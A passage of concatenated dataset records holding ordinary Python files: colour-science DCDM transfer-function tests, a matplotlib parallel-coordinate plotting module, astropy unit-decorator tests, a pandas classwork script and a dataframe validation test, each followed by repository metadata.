support.\n        \"\"\"\n\n        eotf_inverse_DCDM(np.array([-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]))\n\n\nclass TestEotf_DCDM(unittest.TestCase):\n    \"\"\"\n    Define :func:`colour.models.rgb.transfer_functions.dcdm.eotf_DCDM`\n    definition unit tests methods.\n    \"\"\"\n\n    def test_eotf_DCDM(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.dcdm.eotf_DCDM`\n        definition.\n        \"\"\"\n\n        self.assertAlmostEqual(eotf_DCDM(0.0), 0.0, places=7)\n\n        self.assertAlmostEqual(eotf_DCDM(0.11281861), 0.18, places=7)\n\n        self.assertAlmostEqual(eotf_DCDM(0.21817973), 1.0, places=7)\n\n        np.testing.assert_allclose(\n            eotf_DCDM(462, in_int=True), 0.18, atol=0.00001, rtol=0.00001\n        )\n\n    def test_n_dimensional_eotf_DCDM(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.dcdm.eotf_DCDM`\n        definition n-dimensional arrays support.\n        \"\"\"\n\n        XYZ_p = 0.11281861\n        XYZ = eotf_DCDM(XYZ_p)\n\n        XYZ_p = np.tile(XYZ_p, 6)\n        XYZ = np.tile(XYZ, 6)\n        np.testing.assert_almost_equal(eotf_DCDM(XYZ_p), XYZ, decimal=7)\n\n        XYZ_p = np.reshape(XYZ_p, (2, 3))\n        XYZ = np.reshape(XYZ, (2, 3))\n        np.testing.assert_almost_equal(eotf_DCDM(XYZ_p), XYZ, decimal=7)\n\n        XYZ_p = np.reshape(XYZ_p, (2, 3, 1))\n        XYZ = np.reshape(XYZ, (2, 3, 1))\n        np.testing.assert_almost_equal(eotf_DCDM(XYZ_p), XYZ, decimal=7)\n\n    def test_domain_range_scale_eotf_DCDM(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.dcdm.eotf_DCDM`\n        definition domain and range scale support.\n        \"\"\"\n\n        XYZ_p = 0.11281861\n        XYZ = eotf_DCDM(XYZ_p)\n\n        d_r = ((\"reference\", 1), (\"1\", 1), (\"100\", 1))\n        for scale, factor in d_r:\n            with domain_range_scale(scale):\n                np.testing.assert_almost_equal(\n                    eotf_DCDM(XYZ_p * factor), XYZ * factor, decimal=7\n                )\n\n    @ignore_numpy_errors\n    def test_nan_eotf_DCDM(self):\n        \"\"\"\n        Test :func:`colour.models.rgb.transfer_functions.dcdm.eotf_DCDM`\n        definition nan support.\n        \"\"\"\n\n        eotf_DCDM(np.array([-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "3ff42bdaffc3e77514785980cf15d77c5f4da6ec", "size": 5063, "ext": "py", "lang": "Python", "max_stars_repo_path": "colour/models/rgb/transfer_functions/tests/test_dcdm.py", "max_stars_repo_name": "aurelienpierre/colour", "max_stars_repo_head_hexsha": "3ac45c12fbc0493e49ba4d4b2cb253df9fe14c47", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "colour/models/rgb/transfer_functions/tests/test_dcdm.py", "max_issues_repo_name": "aurelienpierre/colour", "max_issues_repo_head_hexsha": "3ac45c12fbc0493e49ba4d4b2cb253df9fe14c47", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "colour/models/rgb/transfer_functions/tests/test_dcdm.py", "max_forks_repo_name": "aurelienpierre/colour", "max_forks_repo_head_hexsha": "3ac45c12fbc0493e49ba4d4b2cb253df9fe14c47", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.9585798817, "max_line_length": 79, "alphanum_fraction": 0.631443808, "include": true, "reason": "import numpy", "num_tokens": 1462, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.1127954167212795, "lm_q1q2_score": 0.05375600034260931}}
{"text": "\"\"\"pcp.py -- A customized and more flexible Parallel-coordinate plotting module. \n\n    This module provides a customized and more flexible function for Parallel-coordinate \n    Plot (PCP) [1]_ visualization. This module also provides different relevant fucntions, \n    parameters and tools.\n\n    Copyright (C) 2016\n    Computational Optimization and Innovation (COIN) Laboratory\n    Department of Computer Science and Engineering\n    Michigan State University\n    428 S. Shaw Lane, Engineering Building\n    East Lansing, MI 48824-1226, USA\n    \n    References\n    ----------\n    .. [1] A. Inselberg and T. Avidan, \"Classification and visualization for high-dimensional \n        data\", Proc. 6th ACM SIGKDD Int. Conf. Knowledge Discovery and Data Mining (KDD \u201800), \n        pp. 370-374, 2000.\n\n.. moduleauthor:: AKM Khaled Talukder <talukde1@msu.edu>\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport matplotlib.colors as mc\nfrom matplotlib.colors import ListedColormap\nfrom viz.plotting.utils import pop \nfrom viz.utils import transform as tr\nfrom viz.utils import dm\n\n__all__ = [\"plot\"]\n\nxmargins = {10: [0.7, 0.3], 9:[0.6, 0.3], 8:[0.5, 0.3], 7:[0.45, 0.3], 6:[0.3, 0.2]}\nymargins = {10: [-0.1, 0.08], 9:[-0.09, 0.075], 8:[-0.09, 0.075], 7:[-0.08, 0.075], 6:[-0.08, 0.075], 5:[-0.8, 0.08], 4:[-0.08, 0.08], 3:[-0.08, 0.08]}\n\ndef is_xticklabels_off(ax):\n    r\"\"\"Checks if axes has already xtick labels\n\n    Checks if an `matplotlib.axes.Axes` object has already\n    xtick labels. \n\n    Parameters\n    ----------\n    ax : matplotlib axes object\n        An `matplotlib.axes.Axes` object.\n    \n    Returns\n    -------\n    True/False : bool\n    \"\"\"\n\n    xtl = ax.get_xticklabels()\n    for s in xtl:\n        if str(s) != \"Text(0, 0, \\'\\')\":\n            return False\n    return True\n\ndef get_yaxis_bounds(A):\n    r\"\"\"\n    \"\"\"\n    ub = dm.nadir(A)\n    lb = dm.ideal(A)\n    ubs = [\"{:1.1e}\".format(v) for v in ub]\n    lbs = [\"{:1.1e}\".format(v) for v in lb]\n    return [lbs, ubs]\n\ndef plot(A, ax=None, show_bounds=True, c=mc.TABLEAU_COLORS['tab:blue'], lw=1.0, labels=None, \\\n        xtick_labels=None, draw_vertical_lines=True, draw_grid=False, **kwargs):\n    r\"\"\"A customized and more enhanced Parallel-coordinate plot.\n\n    This Parallel-coordinate plot (PCP) [1]_ is customized for the experiments. \n    A lot of settings are customizable and configurable. Also it gives more \n    flexibility to the user compared to similar functions implemented in other \n    libraries like Pandas and seaborn. \n    \n    Parameters\n    ----------\n    A : ndarray \n        `n` number of `m` dim. points to be plotted.\n    ax : An `mpl_toolkits.mplot3d.axes.Axes3D` object, optional\n        Default `None` when optional.\n    show_bounds : bool, optional\n        If `True` then the plot will show the lower and upper bounds of each data\n        point (i.e. lines). Default `False` when optional.\n    c : A `matplotlib.colors` object, str or an array RGBA color values.\n        Colors to be used. Default `mc.TABLEAU_COLORS['tab:blue']` when \n        optional.\n    lw : float, optional\n        The line-width of each line in PCP. Default 1.0 when optional.\n    labels : str, array_like or list of str, optional\n        A string or an array/list of strings for labeling each line. Which basically\n        means the class label of each row. Default `None` when optional. This will be\n        used to set the legend in the figure. If `None` there will be no legend.\n    xtick_labels : str, array_like or list of str, optional\n        A string or an array/list of strings for xtick labels, for each column.\n        Default `None` when optional. In that case, the labels will be `f_0`, `f_1` etc.\n    draw_vertical_lines : bool, optional\n        Decide whether we are going to put vertical y-axis lines in the plot for each\n        column/feature. Default `True` when optional.\n    draw_grid : bool, optional\n        Decide whether we are going to put x-axis grid-lines in the plot. Default\n        `False` when optional.\n\n    Other Parameters\n    ----------------\n    title : str, optional\n        The title of the figure. Default `None` when optional.\n    column_indices : array_like or list of int, optional\n        The indices of the columns of `A` to be plotted. Default `None` when optional.\n    colorbar : (Cbc, Cbg, Cbl) a tuple of two ndarray and a str, optional\n        If a user wants to put a colorbar, a tuple `(Cbc, Cbg, Cbl)` can be provided. \n        `Cbc` is an array of RGBA color values or an `matplotlib.colors` object. The \n        gradient of the colorbar is specified in `Cbg` which is an 1-D array of float. \n        Cbl is the label of the colorbar, a string. Default `None` when optional.\n    axvline_width : float, optional\n        The width of the vertical lines. Default 1.0 when optional.\n    axvline_color : A `matplotlib.colors` object, str or an array RGBA color values.\n        The color of the vertical lines. Default `black` when optional.\n    **kwargs : dict\n        All other keyword args for matplotlib `plot()` function.\n\n    Returns\n    -------\n    ax : `mpl_toolkits.mplot3d.axes.Axes3D` object\n        An `mpl_toolkits.mplot3d.axes.Axes3D` object.\n\n    References\n    ----------\n    .. [1] A. Inselberg and T. Avidan, \"Classification and visualization for high-dimensional \n        data\", Proc. 6th ACM SIGKDD Int. Conf. Knowledge Discovery and Data Mining (KDD \u201800), \n        pp. 370-374, 2000.\n    \"\"\"\n    \n    # collect extra kwargs\n    title = kwargs['title'] if kwargs and 'title' in kwargs else None    \n    column_indices = kwargs['column_indices'] if kwargs and 'column_indices' in kwargs else None   \n    colorbar = kwargs['colorbar'] if kwargs and 'colorbar' in kwargs else None\n    axvline_width = kwargs['axvline_width'] if kwargs and 'axvline_width' in kwargs else 1.0\n    axvline_color = kwargs['axvline_color'] if kwargs and 'axvline_color' in kwargs else 'black'\n    \n    # remove once they are read\n    kwargs = pop(kwargs, 'title')\n    kwargs = pop(kwargs, 'column_indices')\n    kwargs = pop(kwargs, 'colorbar')\n    kwargs = pop(kwargs, 'axvline_width')\n    kwargs = pop(kwargs, 'axvline_color')\n    \n    if not ax:\n        ax = plt.figure().gca()        \n\n    lbs, ubs = get_yaxis_bounds(A)\n    F = tr.normalize(A, lb=np.zeros(A.shape[1]), ub=np.ones(A.shape[1]))\n\n    # build color list for each data point\n    if (not isinstance(c, list)) and (not isinstance(c, np.ndarray)):\n        c_ = c\n        c = np.array([c_ for _ in range(F.shape[0])])\n    elif (isinstance(c, list) and len(c) != F.shape[0]) \\\n        or (isinstance(c, np.ndarray) and c.shape[0] != F.shape[0]):\n            raise ValueError(\"The length of c needs to be same as F.shape[0].\")\n        \n    # build linewidth list for each data point\n    if (not isinstance(lw, list)) and (not isinstance(lw, np.ndarray)):\n        lw_ = lw\n        lw = np.array([lw_ for _ in range(F.shape[0])])\n    elif (isinstance(lw, list) and len(lw) != F.shape[0]) \\\n        or (isinstance(lw, np.ndarray) and lw.shape[0] != F.shape[0]):\n            raise ValueError(\"The length of lw needs to be same as F.shape[0].\")\n\n    # get a list of column indices\n    if column_indices:\n        x = np.array(column_indices)\n    else:\n        x = np.arange(0,F.shape[1],1).astype(int)\n    if len(x) < 2:\n        raise ValueError(\"column_indices must be of length > 1.\")\n            \n    # get a list of xtick_labels\n    if xtick_labels is None:\n        xtick_labels = [\"$f_{:d}$\".format(i) for i in range(F.shape[1])]\n        \n    # get a list of line labels, i.e. class labels\n    if labels is not None and isinstance(labels, str):\n        label = labels\n        labels = np.array([label for _ in range(F.shape[0])])\n        \n    # draw the actual plot\n    used_legends = set()\n    for i in range(F.shape[0]):\n        y = F[i,x]\n        if labels is not None:\n            label = labels[i]\n            if label not in used_legends:\n                used_legends.add(label)\n                ax.plot(x, y, color=c[i], label=label, linewidth=lw[i], **kwargs)\n            else:\n                ax.plot(x, y, color=c[i], linewidth=lw[i], **kwargs)\n        else:\n            ax.plot(x, y, color=c[i], linewidth=lw[i], **kwargs)\n    \n    # decide on vertical axes\n    if draw_vertical_lines:\n        for i in x:\n            ax.axvline(i, linewidth=axvline_width, color=axvline_color)\n\n    # draw grid?\n    if draw_grid:\n        ax.grid()\n    else:\n        ax.spines['right'].set_visible(False)\n        ax.spines['left'].set_visible(False)\n \n    # decide on xtick_labels\n    if xtick_labels is not None:\n        if is_xticklabels_off(ax):\n            ax.set_xticks(x)\n            ax.set_xticklabels(xtick_labels)\n            # Now completely change the axis ticks and labels\n            # if there are bounds to be shown\n            if show_bounds:\n                ax.set_yticks([])\n                ax.set_yticklabels([])\n                plt.setp(ax.get_xticklabels(), fontsize=11, \n                        rotation=-45, ha=\"left\", rotation_mode=\"anchor\")\n                ax.set_ylim([-0.1, 1.1])\n                bottom, top = -0.1 + ymargins[F.shape[1]][0], 1.1 + ymargins[F.shape[1]][1]\n                for i in range(A.shape[1]):\n                    ax.text(i + ((0.68/10) * A.shape[1]), bottom, lbs[i], fontsize=11, \\\n                            ha='center', va='center', rotation=-45)\n                    ax.text(i + ((0.3/10) * A.shape[1]), top, ubs[i], fontsize=11, \\\n                            ha='center', va='center', rotation=45)\n            else:\n                ax.set_xlim(x[0], x[-1])\n        else:\n            if len(ax.get_xticklabels()) < len(x):\n                ax.set_xticks(x)\n                ax.set_xticklabels(xtick_labels)\n            if not show_bounds:\n                xl, xr = ax.get_xlim()\n                xl = x[0] if x[0] <= xl else xl\n                xr = x[-1] if x[-1] >= xr else xr\n                ax.set_xlim(xl, xr)\n\n    if not show_bounds or is_xticklabels_off(ax):\n        ax.tick_params(axis='x', labelsize=12)\n        ax.tick_params(axis='y', labelsize=12) \n    \n    # where to put the legend\n    if labels is not None:\n        ax.legend(loc=\"upper right\") \n       \n    # colorbar?\n    if colorbar and isinstance(colorbar, tuple) and len(colorbar) >= 2 \\\n            and isinstance(colorbar[0], np.ndarray) and isinstance(colorbar[1], np.ndarray):\n        vmin,vmax = 0.0, 1.0\n        cbc, cbg = colorbar[0], colorbar[1]\n        cbl = colorbar[2] if len(colorbar) > 2 and colorbar[2] else None\n        Id = np.column_stack((cbg,cbc)).astype(object)\n        Id = Id[np.argsort(Id[:, 0])] \n        c, g = Id[:,1:].astype(float), Id[:,0].astype(float)\n        vmin, vmax = np.min(g), np.max(g)\n        norm = mc.Normalize(vmin=vmin, vmax=vmax)\n        cmap = ListedColormap(c)\n        if cbl:\n            ax.figure.colorbar(cm.ScalarMappable(norm=norm, cmap=cmap), \\\n                    orientation='vertical', label=cbl, pad=0.01, shrink=0.99)\n        else:\n            ax.figure.colorbar(cm.ScalarMappable(norm=norm, cmap=cmap), \\\n                        orientation='vertical', pad=0.01, shrink=0.99)\n\n    # title?\n    ax.set_title(title)\n\n    return ax\n", "meta": {"hexsha": "0351abfbf857744914898a91e7ec34e504183eaa", "size": 11200, "ext": "py", "lang": "Python", "max_stars_repo_path": "viz/plotting/pcp.py", "max_stars_repo_name": "chudur-budur/visualization", "max_stars_repo_head_hexsha": "8013fbdef55fac770d439454207dc07be88fe7c3", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "viz/plotting/pcp.py", "max_issues_repo_name": "chudur-budur/visualization", "max_issues_repo_head_hexsha": "8013fbdef55fac770d439454207dc07be88fe7c3", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2022-01-13T03:22:47.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T00:48:54.000Z", "max_forks_repo_path": "viz/plotting/pcp.py", "max_forks_repo_name": "chudur-budur/pviz", "max_forks_repo_head_hexsha": "8013fbdef55fac770d439454207dc07be88fe7c3", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.4332129964, "max_line_length": 151, "alphanum_fraction": 0.6054464286, "include": true, "reason": "import numpy", "num_tokens": 3039, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.11279540628289322, "lm_q1q2_score": 0.05375599536788681}}
{"text": "# -*- coding: utf-8 -*-\n# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nfrom astropy.extern import six\n\nfrom ... import units as u\nfrom ...extern import six\nfrom ...tests.helper import pytest\n\n\nfrom .py3_test_quantity_annotations import *\n\n\ndef test_args():\n    @u.quantity_input(solarx=u.arcsec, solary=u.arcsec)\n    def myfunc_args(solarx, solary):\n        return solarx, solary\n\n    solarx, solary = myfunc_args(1*u.arcsec, 1*u.arcsec)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(solary, u.Quantity)\n\n    assert solarx.unit == u.arcsec\n    assert solary.unit == u.arcsec\n\ndef test_args_noconvert():\n    @u.quantity_input(solarx=u.arcsec, solary=u.arcsec)\n    def myfunc_args(solarx, solary):\n        return solarx, solary\n\n    solarx, solary = myfunc_args(1*u.deg, 1*u.arcmin)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(solary, u.Quantity)\n\n    assert solarx.unit == u.deg\n    assert solary.unit == u.arcmin\n\n\ndef test_args_nonquantity():\n    @u.quantity_input(solarx=u.arcsec)\n    def myfunc_args(solarx, solary):\n        return solarx, solary\n\n    solarx, solary = myfunc_args(1*u.arcsec, 100)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(solary, int)\n\n    assert solarx.unit == u.arcsec\n\ndef test_arg_equivalencies():\n    @u.quantity_input(solarx=u.arcsec, solary=u.eV, equivalencies=u.mass_energy())\n    def myfunc_args(solarx, solary):\n        return solarx, solary+(10*u.J)  # Add an energy to check equiv is working\n\n    solarx, solary = myfunc_args(1*u.arcsec, 100*u.gram)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(solary, u.Quantity)\n\n    assert solarx.unit == u.arcsec\n    assert solary.unit == u.gram\n\ndef test_wrong_unit():\n    @u.quantity_input(solarx=u.arcsec, solary=u.deg)\n    def myfunc_args(solarx, solary):\n        return solarx, solary\n\n    with pytest.raises(u.UnitsError) as e:\n        solarx, solary = myfunc_args(1*u.arcsec, 100*u.km)\n    assert str(e.value) == \"Argument 'solary' to function 'myfunc_args' must be in units convertable to 'deg'.\"\n\ndef test_not_quantity():\n    @u.quantity_input(solarx=u.arcsec, solary=u.deg)\n    def myfunc_args(solarx, solary):\n        return solarx, solary\n\n    with pytest.raises(TypeError) as e:\n        solarx, solary = myfunc_args(1*u.arcsec, 100)\n    assert str(e.value) == \"Argument 'solary' to function 'myfunc_args' has no 'unit' attribute. You may want to pass in an astropy Quantity instead.\"\n\ndef test_kwargs():\n    @u.quantity_input(solarx=u.arcsec, myk=u.deg)\n    def myfunc_args(solarx, solary, myk=1*u.arcsec):\n        return solarx, solary, myk\n\n    solarx, solary, myk = myfunc_args(1*u.arcsec, 100, myk=100*u.deg)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(solary, int)\n    assert isinstance(myk, u.Quantity)\n\n    assert myk.unit == u.deg\n\ndef test_unused_kwargs():\n    @u.quantity_input(solarx=u.arcsec, myk=u.deg)\n    def myfunc_args(solarx, solary, myk=1*u.arcsec, myk2=1000):\n        return solarx, solary, myk, myk2\n\n    solarx, solary, myk, myk2 = myfunc_args(1*u.arcsec, 100, myk=100*u.deg, myk2=10)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(solary, int)\n    assert isinstance(myk, u.Quantity)\n    assert isinstance(myk2, int)\n\n    assert myk.unit == u.deg\n    assert myk2 == 10\n\ndef test_kwarg_equivalencies():\n    @u.quantity_input(solarx=u.arcsec, energy=u.eV, equivalencies=u.mass_energy())\n    def myfunc_args(solarx, energy=10*u.eV):\n        return solarx, energy+(10*u.J)  # Add an energy to check equiv is working\n\n    solarx, energy = myfunc_args(1*u.arcsec, 100*u.gram)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(energy, u.Quantity)\n\n    assert solarx.unit == u.arcsec\n    assert energy.unit == u.gram\n\ndef test_kwarg_wrong_unit():\n    @u.quantity_input(solarx=u.arcsec, solary=u.deg)\n    def myfunc_args(solarx, solary=10*u.deg):\n        return solarx, solary\n\n    with pytest.raises(u.UnitsError) as e:\n        solarx, solary = myfunc_args(1*u.arcsec, solary=100*u.km)\n    assert str(e.value) == \"Argument 'solary' to function 'myfunc_args' must be in units convertable to 'deg'.\"\n\ndef test_kwarg_not_quantity():\n    @u.quantity_input(solarx=u.arcsec, solary=u.deg)\n    def myfunc_args(solarx, solary=10*u.deg):\n        return solarx, solary\n\n    with pytest.raises(TypeError) as e:\n        solarx, solary = myfunc_args(1*u.arcsec, solary=100)\n    assert str(e.value) == \"Argument 'solary' to function 'myfunc_args' has no 'unit' attribute. You may want to pass in an astropy Quantity instead.\"\n\ndef test_kwarg_default():\n    @u.quantity_input(solarx=u.arcsec, solary=u.deg)\n    def myfunc_args(solarx, solary=10*u.deg):\n        return solarx, solary\n\n    solarx, solary = myfunc_args(1*u.arcsec)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(solary, u.Quantity)\n\n    assert solarx.unit == u.arcsec\n    assert solary.unit == u.deg\n\ndef test_no_equivalent():\n    class test_unit(object):\n        pass\n    class test_quantity(object):\n        unit = test_unit()\n\n    @u.quantity_input(solarx=u.arcsec)\n    def myfunc_args(solarx):\n        return solarx\n\n    with pytest.raises(TypeError) as e:\n        solarx, solary = myfunc_args(test_quantity())\n\n        assert str(e.value) == \"Argument 'solarx' to function 'myfunc_args' has a 'unit' attribute without an 'is_equivalent' method. You may want to pass in an astropy Quantity instead.\"\n\ndef test_kwargs_input():\n    @u.quantity_input(solarx=u.arcsec, solary=u.deg)\n    def myfunc_args(solarx=1*u.arcsec, solary=1*u.deg):\n        return solarx, solary\n\n    kwargs = {'solarx':10*u.arcsec, 'solary':10*u.deg}\n    solarx, solary = myfunc_args(**kwargs)\n\n    assert isinstance(solarx, u.Quantity)\n    assert isinstance(solary, u.Quantity)\n\n    assert solarx.unit == u.arcsec\n    assert solary.unit == u.deg\n\ndef test_kwargs_extra():\n    @u.quantity_input(solary=u.deg)\n    def myfunc_args(solarx, **kwargs):\n        return solarx\n\n    solarx = myfunc_args(1*u.deg)\n\n    assert isinstance(solarx, u.Quantity)\n\n    assert solarx.unit == u.deg\n\n", "meta": {"hexsha": "b6646ee393be97f265a9b3a045b21a939c117c74", "size": 6076, "ext": "py", "lang": "Python", "max_stars_repo_path": "NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/tests/test_quantity_decorator.py", "max_stars_repo_name": "sahirsharma/Martian", "max_stars_repo_head_hexsha": "062e9b47849512863c16713811f347ad7e121b56", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/tests/test_quantity_decorator.py", "max_issues_repo_name": "sahirsharma/Martian", "max_issues_repo_head_hexsha": "062e9b47849512863c16713811f347ad7e121b56", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/tests/test_quantity_decorator.py", "max_forks_repo_name": "sahirsharma/Martian", "max_forks_repo_head_hexsha": "062e9b47849512863c16713811f347ad7e121b56", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.0, "max_line_length": 187, "alphanum_fraction": 0.6905859118, "include": true, "reason": "from astropy", "num_tokens": 1739, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.1127954033004973, "lm_q1q2_score": 0.0537559939465376}}
{"text": "import pandas as pd\n\ndf = pd.read_csv(r\"election_candidate.csv\", skiprows=1)  # use leading r to declare string as literal (to parse slashes literally)\n\npd.set_option(\"display.max_rows\", 10)\npd.set_option(\"display.max_columns\", 10)\n\ndf = df.rename(columns={\"Election: (United States)\": \"Election\"})  # override with mapping\n\nprint(df.iloc[0])  # print row 0\nprint(df.iloc[-1])  # print row from end\n\nprint(df.iloc[0:5, 1:2])  # indexes 0-5, columns 1 and 2\n\ndf.fillna(value = 0)  # fill N/A values with provided\n\nleft = pd.DataFrame({\"col\": [\"value\", \"value\"], \"col2\": [1, 2]})  # create columns with values\nright = pd.DataFrame({\"col\": [\"value\", \"value\"], \"col3\": [\"another\", \"value\"]})\nmerge = pd.merge(left, right)  # merge on matching cols\nprint(merge)\n\nimport numpy as np\n\nprint(\n    pd.DataFrame({\"col\": [1, 2, 3, 4, 5], \"value\": np.random.randint(5)})\n)\n\n", "meta": {"hexsha": "2bce9dd161601804c57ddd7624f77d1fb9478d7d", "size": 862, "ext": "py", "lang": "Python", "max_stars_repo_path": "classwork/11_04_2020.py", "max_stars_repo_name": "Katsute/Baruch-CIS-2300-Assignments", "max_stars_repo_head_hexsha": "ea374ed1cb229f5e598863ba1777be5f47eaab9d", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "classwork/11_04_2020.py", "max_issues_repo_name": "Katsute/Baruch-CIS-2300-Assignments", "max_issues_repo_head_hexsha": "ea374ed1cb229f5e598863ba1777be5f47eaab9d", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "classwork/11_04_2020.py", "max_forks_repo_name": "Katsute/Baruch-CIS-2300-Assignments", "max_forks_repo_head_hexsha": "ea374ed1cb229f5e598863ba1777be5f47eaab9d", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-01-12T18:17:52.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-12T18:17:52.000Z", "avg_line_length": 30.7857142857, "max_line_length": 130, "alphanum_fraction": 0.6682134571, "include": true, "reason": "import numpy", "num_tokens": 265, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.11279540031810142, "lm_q1q2_score": 0.05375599252518842}}
{"text": "\"\"\"\nThis module implements a test_create_dataframe function that check certain dataframe properties.\nThis function is also tested in this module using Python's unittest library.\n\"\"\"\n\nimport unittest\nimport pandas as pd\nimport numpy as np\n\n\ndef test_create_dataframe(test_df, list_column_names):\n    \"\"\"\n    Check the following properties of a DataFrame:\n        1. The DataFrame contains only the columns that are specified as the second argument\n        2. all columns have values of the correct type\n        3. Check for nan values\n        4. Verify that the DataFrame has at least one row\n    :param test_df: DataFrame whose properties to be checked\n    :param list_column_names: a list of column names that the DataFrame should contains\n    :return: True if all the above conditions hold; False otherwise\n    \"\"\"\n    result = True\n    test_df_col = test_df.columns.values\n    # The DataFrame contains only the columns that you specified as the second argument\n    if not set(list_column_names) == set(test_df_col):\n        result = False\n    # There is no NAN in test_df\n    if any([any(pd.isnull(test_df[col_name])) for col_name in list(test_df)]):\n        raise ValueError('There is NaN in the dataframe.')\n    # The values in each column have the same python type\n    sets_of_type_in_column = [set(map(type, test_df[c])) for c in test_df_col]\n    lengths_of_type_set_in_column = [len(t) for t in sets_of_type_in_column]\n    if any(l > 1 for l in lengths_of_type_set_in_column):\n        result = False\n    # There are at least 10 rows in the DataFrame\n    if test_df.shape[0] < 1:\n        result = False\n    return result\n\n\nDEFAULT_DATAFRAME = pd.DataFrame({'float_col': [1.0, 2.0, 2.6, 4.7],\n                                  'int_col': [1, 1, 2, 6],\n                                  'string_col': ['foo', 'st', 'acb', 'fov']})\n\n\nclass TestDataFrameMethods(unittest.TestCase):\n    \"\"\"\n    This class tests the above test_create_dataframe method\n    \"\"\"\n    def test_all_columns_same_type(self):\n        \"\"\"\n        Test for the functionality of checking all columns having values of the correct type\n        :return: test passes if functionality works; test fails otherwise\n        \"\"\"\n        # a dataframe that values in each column have the same type\n        df1 = DEFAULT_DATAFRAME\n        # a dataframe that some values in each column have different type\n        df2 = DEFAULT_DATAFRAME.copy(deep=True)\n        df2.loc[3, 'string_col'] = 98\n        col_names = ['float_col', 'int_col', 'string_col']\n        self.assertTrue(test_create_dataframe(df1, col_names))\n        self.assertFalse(test_create_dataframe(df2, col_names))\n\n    def test_check_nan(self):\n        \"\"\"\n        Test for the functionality of checking for nan values\n        :return: test passes if functionality works; test fails otherwise\n        \"\"\"\n        col_names = ['float_col', 'int_col', 'string_col']\n        df1 = df2 = DEFAULT_DATAFRAME.copy(deep=True)\n        # change some values to nan\n        df1.loc[2, 'int_col'] = np.nan\n        df2.loc[3, 'string_col'] = np.nan\n        # should raise error\n        with self.assertRaises(ValueError):\n            test_create_dataframe(df1, col_names)\n            test_create_dataframe(df2, col_names)\n\n    def test_at_least_one_row(self):\n        \"\"\"\n        Test for the functionality of verifying that the dataframe has at least one row\n        :return: test passes if functionality works; test fails otherwise\n        \"\"\"\n        # a dataframe with at least 1 row\n        df1 = pd.DataFrame(DEFAULT_DATAFRAME.head(1))\n        # a dataframe with fewer than 1 row\n        df2 = pd.DataFrame(DEFAULT_DATAFRAME.head(0))\n        col_names = ['float_col', 'int_col', 'string_col']\n        self.assertTrue(test_create_dataframe(df1, col_names))\n        self.assertFalse(test_create_dataframe(df2, col_names))\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "c4aec5efc7f15dbc54a9b93f1253c02ac32c15b0", "size": 3887, "ext": "py", "lang": "Python", "max_stars_repo_path": "test_dataframe.py", 